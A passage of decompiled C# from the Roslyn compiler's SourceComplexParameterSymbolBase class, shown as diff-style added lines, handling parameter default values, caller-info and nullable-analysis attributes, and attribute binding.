SourceParameterSymbol, IAttributeTargetSymbol +{ + [Flags] + private enum ParameterSyntaxKind : byte + { + Regular = 0, + ParamsParameter = 1, + ExtensionThisParameter = 2, + DefaultParameter = 4 + } + + private readonly SyntaxReference _syntaxRef; + + private readonly ParameterSyntaxKind _parameterSyntaxKind; + + private ThreeState _lazyHasOptionalAttribute; + + private CustomAttributesBag _lazyCustomAttributesBag; + + protected ConstantValue _lazyDefaultSyntaxValue; + + private Binder WithTypeParametersBinderOpt => (ContainingSymbol as SourceMethodSymbolWithAttributes)?.WithTypeParametersBinder; + + internal sealed override SyntaxReference SyntaxReference => _syntaxRef; + + private ParameterSyntax CSharpSyntaxNode + { + get + { + SyntaxReference syntaxRef = _syntaxRef; + return (ParameterSyntax)(object)((syntaxRef != null) ? syntaxRef.GetSyntax(default(CancellationToken)) : null); + } + } + + public override bool IsDiscard => false; + + internal sealed override ConstantValue ExplicitDefaultConstantValue => DefaultSyntaxValue ?? DefaultValueFromAttributes; + + internal sealed override ConstantValue DefaultValueFromAttributes + { + get + { + ParameterEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData == null || !(((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).DefaultParameterValue != ConstantValue.Unset)) + { + return null; + } + return ((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).DefaultParameterValue; + } + } + + internal sealed override bool IsIDispatchConstant + { + get + { + ParameterWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonParameterWellKnownAttributeData)decodedWellKnownAttributeData).HasIDispatchConstantAttribute; + } + } + + internal override bool IsIUnknownConstant + { + get + { + ParameterWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonParameterWellKnownAttributeData)decodedWellKnownAttributeData).HasIUnknownConstantAttribute; + } + } + + internal override bool IsCallerLineNumber + { + get + { + ParameterEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).HasCallerLineNumberAttribute; + } + } + + internal override bool IsCallerFilePath + { + get + { + ParameterEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).HasCallerFilePathAttribute; + } + } + + internal override bool IsCallerMemberName + { + get + { + ParameterEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).HasCallerMemberNameAttribute; + } + } + + internal override int CallerArgumentExpressionParameterIndex + { + get + { + ParameterEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData == null) + { + return -1; + } + return ((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).CallerArgumentExpressionParameterIndex; + } + } + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes => ImmutableArrayExtensions.NullToEmpty(GetDecodedWellKnownAttributeData()?.InterpolatedStringHandlerArguments); + + internal override bool HasInterpolatedStringHandlerArgumentError => GetDecodedWellKnownAttributeData()?.InterpolatedStringHandlerArguments.IsDefault ?? false; + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations => DecodeFlowAnalysisAttributes(GetDecodedWellKnownAttributeData()); + + internal override ImmutableHashSet NotNullIfParameterNotNull => GetDecodedWellKnownAttributeData()?.NotNullIfParameterNotNull ?? ImmutableHashSet.Empty; + + internal bool HasEnumeratorCancellationAttribute => GetDecodedWellKnownAttributeData()?.HasEnumeratorCancellationAttribute ?? false; + + internal sealed override ScopedKind EffectiveScope + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + ScopedKind val = CalculateEffectiveScopeIgnoringAttributes(); + if ((int)val != 0 && HasUnscopedRefAttribute) + { + return (ScopedKind)0; + } + return val; + } + } + + internal override bool HasUnscopedRefAttribute => GetEarlyDecodedWellKnownAttributeData()?.HasUnscopedRefAttribute ?? false; + + private ConstantValue DefaultSyntaxValue + { + get + { + if (state.NotePartComplete(CompletionPart.Members)) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + Interlocked.CompareExchange(ref _lazyDefaultSyntaxValue, MakeDefaultExpression(instance, out Binder binder, out BoundParameterEqualsValue parameterEqualsValue), ConstantValue.Unset); + state.NotePartComplete(CompletionPart.TypeMembers); + if (parameterEqualsValue != null) + { + if (binder != null) + { + SyntaxNode defaultValueSyntaxForIsNullableAnalysisEnabled = GetDefaultValueSyntaxForIsNullableAnalysisEnabled(CSharpSyntaxNode); + if (defaultValueSyntaxForIsNullableAnalysisEnabled != null) + { + NullableWalker.AnalyzeIfNeeded(binder, parameterEqualsValue, defaultValueSyntaxForIsNullableAnalysisEnabled, ((BindingDiagnosticBag)instance).DiagnosticBag); + } + } + if (!_lazyDefaultSyntaxValue.IsBad) + { + VerifyParamDefaultValueMatchesAttributeIfAny(_lazyDefaultSyntaxValue, parameterEqualsValue.Value.Syntax, instance); + if (_lazyDefaultSyntaxValue.IsDecimal && DefaultValueFromAttributes == (ConstantValue)null) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(DeclaringCompilation, (WellKnownMember)109, instance, parameterEqualsValue.Value.Syntax.Location); + } + } + } + AddDeclarationDiagnostics(instance); + ((BindingDiagnosticBag)(object)instance).Free(); + state.NotePartComplete(CompletionPart.SynthesizedExplicitImplementations); + } + state.SpinWaitComplete(CompletionPart.TypeMembers, default(CancellationToken)); + return _lazyDefaultSyntaxValue; + } + } + + public override string MetadataName + { + get + { + if (!(ContainingSymbol is SourceOrdinaryMethodSymbol { SourcePartialDefinition: var sourcePartialDefinition })) + { + return base.MetadataName; + } + if ((object)sourcePartialDefinition == null) + { + return base.MetadataName; + } + return sourcePartialDefinition.Parameters[Ordinal].MetadataName; + } + } + + protected virtual IAttributeTargetSymbol AttributeOwner => this; + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => AttributeOwner; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.Parameter; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations + { + get + { + if (SynthesizedRecordPropertySymbol.HaveCorrespondingSynthesizedRecordPropertySymbol(this)) + { + return AttributeLocation.Field | AttributeLocation.Property | AttributeLocation.Parameter; + } + return AttributeLocation.Parameter; + } + } + + private SourceParameterSymbol BoundAttributesSource + { + get + { + if (!(ContainingSymbol is SourceOrdinaryMethodSymbol { SourcePartialImplementation: var sourcePartialImplementation })) + { + return null; + } + if ((object)sourcePartialImplementation == null) + { + return null; + } + return (SourceParameterSymbol)sourcePartialImplementation.Parameters[Ordinal]; + } + } + + internal sealed override SyntaxList AttributeDeclarationList => CSharpSyntaxNode?.AttributeLists ?? default(SyntaxList); + + internal override bool HasDefaultArgumentSyntax => (_parameterSyntaxKind & ParameterSyntaxKind.DefaultParameter) != 0; + + internal sealed override bool HasOptionalAttribute + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyHasOptionalAttribute == 0) + { + SourceParameterSymbol boundAttributesSource = BoundAttributesSource; + if ((object)boundAttributesSource != null) + { + _lazyHasOptionalAttribute = ThreeStateHelpers.ToThreeState(boundAttributesSource.HasOptionalAttribute); + } + else if (!GetAttributes().Any()) + { + _lazyHasOptionalAttribute = (ThreeState)1; + } + } + return ThreeStateHelpers.Value(_lazyHasOptionalAttribute); + } + } + + internal override bool IsMetadataOptional + { + get + { + if (!HasDefaultArgumentSyntax) + { + return HasOptionalAttribute; + } + return true; + } + } + + internal sealed override bool IsMetadataIn + { + get + { + if (!base.IsMetadataIn) + { + ParameterWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonParameterWellKnownAttributeData)decodedWellKnownAttributeData).HasInAttribute; + } + return true; + } + } + + internal sealed override bool IsMetadataOut + { + get + { + if (!base.IsMetadataOut) + { + ParameterWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonParameterWellKnownAttributeData)decodedWellKnownAttributeData).HasOutAttribute; + } + return true; + } + } + + internal sealed override MarshalPseudoCustomAttributeData MarshallingInformation + { + get + { + ParameterWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return null; + } + return ((CommonParameterWellKnownAttributeData)decodedWellKnownAttributeData).MarshallingInformation; + } + } + + public sealed override bool IsParams => (_parameterSyntaxKind & ParameterSyntaxKind.ParamsParameter) != 0; + + internal override bool IsExtensionMethodThis => (_parameterSyntaxKind & ParameterSyntaxKind.ExtensionThisParameter) != 0; + + public abstract override ImmutableArray RefCustomModifiers { get; } + + protected SourceComplexParameterSymbolBase(Symbol owner, int ordinal, TypeWithAnnotations parameterType, RefKind refKind, string name, Location location, SyntaxReference syntaxRef, bool isParams, bool isExtensionMethodThis, ScopedKind scope) + : base(owner, parameterType, ordinal, refKind, scope, name, location) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + _lazyHasOptionalAttribute = (ThreeState)0; + _syntaxRef = syntaxRef; + if (isParams) + { + _parameterSyntaxKind |= ParameterSyntaxKind.ParamsParameter; + } + if (isExtensionMethodThis) + { + _parameterSyntaxKind |= ParameterSyntaxKind.ExtensionThisParameter; + } + ParameterSyntax cSharpSyntaxNode = CSharpSyntaxNode; + if (cSharpSyntaxNode != null && cSharpSyntaxNode.Default != null) + { + _parameterSyntaxKind |= ParameterSyntaxKind.DefaultParameter; + } + _lazyDefaultSyntaxValue = ConstantValue.Unset; + } + + private static FlowAnalysisAnnotations DecodeFlowAnalysisAttributes(ParameterWellKnownAttributeData attributeData) + { + if (attributeData == null) + { + return FlowAnalysisAnnotations.None; + } + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + if (attributeData.HasAllowNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.AllowNull; + } + if (attributeData.HasDisallowNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.DisallowNull; + } + bool? maybeNullWhenAttribute; + if (attributeData.HasMaybeNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.MaybeNull; + } + else + { + maybeNullWhenAttribute = attributeData.MaybeNullWhenAttribute; + if (maybeNullWhenAttribute.HasValue) + { + bool valueOrDefault = maybeNullWhenAttribute == true; + flowAnalysisAnnotations = (FlowAnalysisAnnotations)((int)flowAnalysisAnnotations | (valueOrDefault ? 4 : 8)); + } + } + if (attributeData.HasNotNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.NotNull; + } + else + { + maybeNullWhenAttribute = attributeData.NotNullWhenAttribute; + if (maybeNullWhenAttribute.HasValue) + { + bool valueOrDefault2 = maybeNullWhenAttribute == true; + flowAnalysisAnnotations = (FlowAnalysisAnnotations)((int)flowAnalysisAnnotations | (valueOrDefault2 ? 16 : 32)); + } + } + maybeNullWhenAttribute = attributeData.DoesNotReturnIfAttribute; + if (maybeNullWhenAttribute.HasValue) + { + bool valueOrDefault3 = maybeNullWhenAttribute == true; + flowAnalysisAnnotations = (FlowAnalysisAnnotations)((int)flowAnalysisAnnotations | (valueOrDefault3 ? 128 : 64)); + } + return flowAnalysisAnnotations; + } + + internal static SyntaxNode? GetDefaultValueSyntaxForIsNullableAnalysisEnabled(ParameterSyntax? parameterSyntax) + { + return (SyntaxNode?)(object)parameterSyntax?.Default?.Value; + } + + public BoundParameterEqualsValue? BindParameterEqualsValue() + { + MakeDefaultExpression(BindingDiagnosticBag.Discarded, out Binder _, out BoundParameterEqualsValue parameterEqualsValue); + return parameterEqualsValue; + } + + private Binder GetDefaultParameterValueBinder(SyntaxNode syntax) + { + Binder binder = WithTypeParametersBinderOpt; + if (binder == null) + { + binder = DeclaringCompilation.GetBinderFactory(syntax.SyntaxTree).GetBinder(syntax); + } + return binder; + } + + private void NullableAnalyzeParameterDefaultValueFromAttributes() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + ParameterSyntax cSharpSyntaxNode = CSharpSyntaxNode; + if (cSharpSyntaxNode == null) + { + return; + } + SyntaxNode node = cSharpSyntaxNode.AttributeLists.Node; + if (node != null && NullableWalker.NeedsAnalysis(DeclaringCompilation, node)) + { + ConstantValue defaultValueFromAttributes = DefaultValueFromAttributes; + if (!(defaultValueFromAttributes == (ConstantValue)null) && !defaultValueFromAttributes.IsBad) + { + Binder defaultParameterValueBinder = GetDefaultParameterValueBinder((SyntaxNode)(object)cSharpSyntaxNode); + BoundParameterEqualsValue node2 = new BoundParameterEqualsValue((SyntaxNode)(object)cSharpSyntaxNode, this, ImmutableArray.Empty, new BoundLiteral((SyntaxNode)(object)cSharpSyntaxNode, defaultValueFromAttributes, base.Type)); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + NullableWalker.AnalyzeIfNeeded(defaultParameterValueBinder, node2, (SyntaxNode)(object)cSharpSyntaxNode, ((BindingDiagnosticBag)instance).DiagnosticBag); + AddDeclarationDiagnostics(instance); + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + } + + private ConstantValue MakeDefaultExpression(BindingDiagnosticBag diagnostics, out Binder? binder, out BoundParameterEqualsValue? parameterEqualsValue) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + binder = null; + parameterEqualsValue = null; + ParameterSyntax cSharpSyntaxNode = CSharpSyntaxNode; + if (cSharpSyntaxNode == null) + { + return null; + } + EqualsValueClauseSyntax equalsValueClauseSyntax = cSharpSyntaxNode.Default; + if (equalsValueClauseSyntax == null) + { + return null; + } + MessageID.IDS_FeatureOptionalParameter.CheckFeatureAvailability(diagnostics, equalsValueClauseSyntax.EqualsToken); + binder = GetDefaultParameterValueBinder((SyntaxNode)(object)equalsValueClauseSyntax); + binder = binder.CreateBinderForParameterDefaultValue(this, equalsValueClauseSyntax); + parameterEqualsValue = binder.BindParameterDefaultValue(equalsValueClauseSyntax, this, diagnostics, out var valueBeforeConversion); + if (valueBeforeConversion.HasErrors) + { + return ConstantValue.Bad; + } + BoundExpression boundExpression = parameterEqualsValue.Value; + if (ParameterHelpers.ReportDefaultParameterErrors(binder, ContainingSymbol, cSharpSyntaxNode, this, valueBeforeConversion, boundExpression, diagnostics)) + { + return ConstantValue.Bad; + } + if (boundExpression.ConstantValueOpt == (ConstantValue)null && boundExpression.Kind == BoundKind.Conversion && ((BoundConversion)boundExpression).ConversionKind != ConversionKind.DefaultLiteral && parameterType.Type.IsNullableType()) + { + boundExpression = binder.GenerateConversionForAssignment(parameterType.Type.GetNullableUnderlyingType(), valueBeforeConversion, diagnostics, Binder.ConversionForAssignmentFlags.DefaultParameter); + } + return boundExpression.ConstantValueOpt ?? ConstantValue.Null; + } + + internal virtual OneOrMany> GetAttributeDeclarations() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + SyntaxList attributeDeclarationList = AttributeDeclarationList; + if (!(ContainingSymbol is SourceOrdinaryMethodSymbol { OtherPartOfPartial: var otherPartOfPartial })) + { + return OneOrMany.Create>(attributeDeclarationList); + } + SyntaxList val = (((object)otherPartOfPartial == null) ? default(SyntaxList) : ((SourceParameterSymbol)otherPartOfPartial.Parameters[Ordinal]).AttributeDeclarationList); + if (attributeDeclarationList.Equals(default(SyntaxList))) + { + return OneOrMany.Create>(val); + } + if (val.Equals(default(SyntaxList))) + { + return OneOrMany.Create>(attributeDeclarationList); + } + return OneOrMany.Create>(ImmutableArray.Create>(attributeDeclarationList, val)); + } + + internal ParameterWellKnownAttributeData GetDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (ParameterWellKnownAttributeData)(object)val.DecodedWellKnownAttributeData; + } + + internal ParameterEarlyWellKnownAttributeData GetEarlyDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsEarlyDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (ParameterEarlyWellKnownAttributeData)(object)val.EarlyDecodedWellKnownAttributeData; + } + + internal sealed override CustomAttributesBag GetAttributesBag() + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (_lazyCustomAttributesBag == null || !_lazyCustomAttributesBag.IsSealed) + { + SourceParameterSymbol boundAttributesSource = BoundAttributesSource; + bool flag; + if ((object)boundAttributesSource != null) + { + CustomAttributesBag attributesBag = boundAttributesSource.GetAttributesBag(); + flag = Interlocked.CompareExchange(ref _lazyCustomAttributesBag, attributesBag, null) == null; + } + else + { + OneOrMany> attributeDeclarations = GetAttributeDeclarations(); + flag = LoadAndValidateAttributes(attributeDeclarations, ref _lazyCustomAttributesBag, AttributeLocation.None, earlyDecodingOnly: false, WithTypeParametersBinderOpt); + } + if (flag) + { + NullableAnalyzeParameterDefaultValueFromAttributes(); + state.NotePartComplete(CompletionPart.Attributes); + } + } + return _lazyCustomAttributesBag; + } + + public ImmutableArray<(CSharpAttributeData, BoundAttribute)> BindParameterAttributes() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return BindAttributes(GetAttributeDeclarations(), WithTypeParametersBinderOpt); + } + + internal override void EarlyDecodeWellKnownAttributeType(NamedTypeSymbol attributeType, AttributeSyntax attributeSyntax) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (CSharpAttributeData.IsTargetEarlyAttribute(attributeType, attributeSyntax, AttributeDescription.OptionalAttribute)) + { + _lazyHasOptionalAttribute = (ThreeState)2; + } + } + + internal override void PostEarlyDecodeWellKnownAttributeTypes() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyHasOptionalAttribute == 0) + { + _lazyHasOptionalAttribute = (ThreeState)1; + } + base.PostEarlyDecodeWellKnownAttributeTypes(); + } + + internal override (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0177: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.DefaultParameterValueAttribute)) + { + return EarlyDecodeAttributeForDefaultParameterValue(AttributeDescription.DefaultParameterValueAttribute, ref arguments); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.DecimalConstantAttribute)) + { + return EarlyDecodeAttributeForDefaultParameterValue(AttributeDescription.DecimalConstantAttribute, ref arguments); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.DateTimeConstantAttribute)) + { + return EarlyDecodeAttributeForDefaultParameterValue(AttributeDescription.DateTimeConstantAttribute, ref arguments); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.UnscopedRefAttribute)) + { + arguments.GetOrCreateData().HasUnscopedRefAttribute = true; + return (null, null); + } + if (!IsOnPartialImplementation(arguments.AttributeSyntax)) + { + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.CallerLineNumberAttribute)) + { + ((CommonParameterEarlyWellKnownAttributeData)arguments.GetOrCreateData()).HasCallerLineNumberAttribute = true; + } + else if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.CallerFilePathAttribute)) + { + ((CommonParameterEarlyWellKnownAttributeData)arguments.GetOrCreateData()).HasCallerFilePathAttribute = true; + } + else if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.CallerMemberNameAttribute)) + { + ((CommonParameterEarlyWellKnownAttributeData)arguments.GetOrCreateData()).HasCallerMemberNameAttribute = true; + } + else if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.CallerArgumentExpressionAttribute)) + { + int callerArgumentExpressionParameterIndex = -1; + bool generatedDiagnostics; + CSharpAttributeData item = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out generatedDiagnostics).Item1; + if (!((AttributeData)item).HasErrors) + { + TypedConstant val = ((AttributeData)item).CommonConstructorArguments[0]; + string value = default(string); + if (((TypedConstant)(ref val)).TryDecodeValue((SpecialType)20, ref value)) + { + ImmutableArray parameters = ContainingSymbol.GetParameters(); + for (int i = 0; i < parameters.Length; i++) + { + if (parameters[i].Name.Equals(value, StringComparison.Ordinal)) + { + callerArgumentExpressionParameterIndex = i; + break; + } + } + } + } + ((CommonParameterEarlyWellKnownAttributeData)arguments.GetOrCreateData()).CallerArgumentExpressionParameterIndex = callerArgumentExpressionParameterIndex; + } + } + return base.EarlyDecodeWellKnownAttribute(ref arguments); + } + + private (CSharpAttributeData?, BoundAttribute?) EarlyDecodeAttributeForDefaultParameterValue(AttributeDescription description, ref EarlyDecodeWellKnownAttributeArguments arguments) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + var (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out var generatedDiagnostics); + ConstantValue defaultParameterValue; + if (((AttributeData)cSharpAttributeData).HasErrors) + { + defaultParameterValue = ConstantValue.Bad; + generatedDiagnostics = true; + } + else + { + defaultParameterValue = DecodeDefaultParameterValueAttribute(description, cSharpAttributeData, arguments.AttributeSyntax, diagnose: false, null); + } + ParameterEarlyWellKnownAttributeData orCreateData = arguments.GetOrCreateData(); + if (((CommonParameterEarlyWellKnownAttributeData)orCreateData).DefaultParameterValue == ConstantValue.Unset) + { + ((CommonParameterEarlyWellKnownAttributeData)orCreateData).DefaultParameterValue = defaultParameterValue; + } + if (generatedDiagnostics) + { + return (null, null); + } + return (cSharpAttributeData, item); + } + + protected override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Unknown result type (might be due to invalid IL or missing references) + //IL_01a6: Unknown result type (might be due to invalid IL or missing references) + //IL_01d4: Unknown result type (might be due to invalid IL or missing references) + //IL_01ef: Unknown result type (might be due to invalid IL or missing references) + //IL_020a: Unknown result type (might be due to invalid IL or missing references) + //IL_0225: Unknown result type (might be due to invalid IL or missing references) + //IL_0245: Unknown result type (might be due to invalid IL or missing references) + //IL_0260: Unknown result type (might be due to invalid IL or missing references) + //IL_0280: Unknown result type (might be due to invalid IL or missing references) + //IL_02a0: Unknown result type (might be due to invalid IL or missing references) + //IL_02c0: Unknown result type (might be due to invalid IL or missing references) + //IL_02f2: Unknown result type (might be due to invalid IL or missing references) + //IL_0316: Unknown result type (might be due to invalid IL or missing references) + //IL_0343: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + if (attribute.IsTargetAttribute(this, AttributeDescription.DefaultParameterValueAttribute)) + { + DecodeDefaultParameterValueAttribute(AttributeDescription.DefaultParameterValueAttribute, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DecimalConstantAttribute)) + { + DecodeDefaultParameterValueAttribute(AttributeDescription.DecimalConstantAttribute, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DateTimeConstantAttribute)) + { + DecodeDefaultParameterValueAttribute(AttributeDescription.DateTimeConstantAttribute, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.OptionalAttribute)) + { + if (HasDefaultArgumentSyntax) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_DefaultValueUsedWithAttributes, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + } + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ParamArrayAttribute)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ExplicitParamArray, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.InAttribute)) + { + ((CommonParameterWellKnownAttributeData)arguments.GetOrCreateData()).HasInAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.OutAttribute)) + { + ((CommonParameterWellKnownAttributeData)arguments.GetOrCreateData()).HasOutAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MarshalAsAttribute)) + { + MarshalAsAttributeDecoder.Decode(ref arguments, AttributeTargets.Parameter, (CommonMessageProvider)(object)MessageProvider.Instance); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.IDispatchConstantAttribute)) + { + ((CommonParameterWellKnownAttributeData)arguments.GetOrCreateData()).HasIDispatchConstantAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.IUnknownConstantAttribute)) + { + ((CommonParameterWellKnownAttributeData)arguments.GetOrCreateData()).HasIUnknownConstantAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.CallerLineNumberAttribute)) + { + ValidateCallerLineNumberAttribute(arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.CallerFilePathAttribute)) + { + ValidateCallerFilePathAttribute(arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.CallerMemberNameAttribute)) + { + ValidateCallerMemberNameAttribute(arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.CallerArgumentExpressionAttribute)) + { + 